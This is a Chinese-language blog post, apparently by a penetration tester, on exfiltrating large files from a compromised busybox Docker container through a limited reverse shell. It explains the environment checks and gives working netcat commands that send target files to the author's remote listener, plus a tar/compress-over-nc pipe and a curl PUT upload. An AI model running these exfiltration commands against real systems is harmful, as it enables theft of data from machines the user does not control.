busybox docker 受限环境下回传文件
0x00: 环境
- 前期通过漏洞,在对方机器上执行了一段java代码,本应该反弹回来一个全交互式的shell。
- 反弹回来发现是
root
权限,但不是一个全交互式的shell,感觉有点奇怪。 - 执行
netstat -ano
没有任何返回,执行netstat
返回结果但是发现连接很少,不像是一个正常的 linux 环境。 - 执行
cat /proc/1/cgroup
看了一下,发现是在一个docker
环境中,顺带ls /bin/
看了下可执行文件,发现是一个基于busybox
的docker环境
0x01: 问题
如何在一个基于 busybox
的 docker
容器反弹出来的非全交互式shell命令行中,完成传输大二进制文件(>100M)到远程服务器的任务?
0x02: 过程
在非受限环境下上传文件到远程服务器的方法有不少,具体可见文末第二个参考链接。
在Linux环境下经常使用的一个是:
-
scp
-
搭建一个 HTTP PUT Server,然后使用
curl -T /path/to/file http://http-put-server:port/
传输 - nc
在非全交互式的shell环境下,scp
、sftp
等方法都不能使用,目标环境的 busybox 中也没有curl
命令。最后尝试了下 nc
命令,无回显,但是通过远程连接判断目标有 nc
,查阅资料发现 busybox
中默认带有精简的netcat
.
于是远程主机执行
nc -l -p port > /tmp/file.bin
受限环境中执行
nc remote-ip port < /target/file.name
到这里就差不多结束了,但是传输时每次传个几M左右,连接就断掉,最后根据第一个参考链接发现可能是连接超时导致的,增加-w 5
参数最终解决:
nc -w 5 remote-ip port < /target/file.name
参考链接文中还提到一种用 nc
传输压缩文件的技巧,没有测试。如果传输的文件比较多而且达到几个G,可能会有很好效果。
receiving end:
nc -l -p 1234 | uncompress -c | tar xvfp -
sending end:
tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234
0x03: 总结
- 一些像
注意nc传输大文件连接超时
这样的小细节只有实践过可能才会知道 - 有不少文章中提出
wget --method=PUT
可以上传文件到 HTTP PUT Server。但是我尝试了多台不同的Linux环境,发现Centos
自带的wget命令并没有此选项,在Ubuntu
中有此选项。这也许是实验人员习惯用Ubuntu
进行测试发现的,但是现实环境中Centos
作为服务器部署应用较多,这条命令其实很少有机会用到。像这样的小细节,如果没有在文章中指出,就可以粗略的判断作者可能没有进行过足够的实践或者说文章主要是抄袭来的。
评论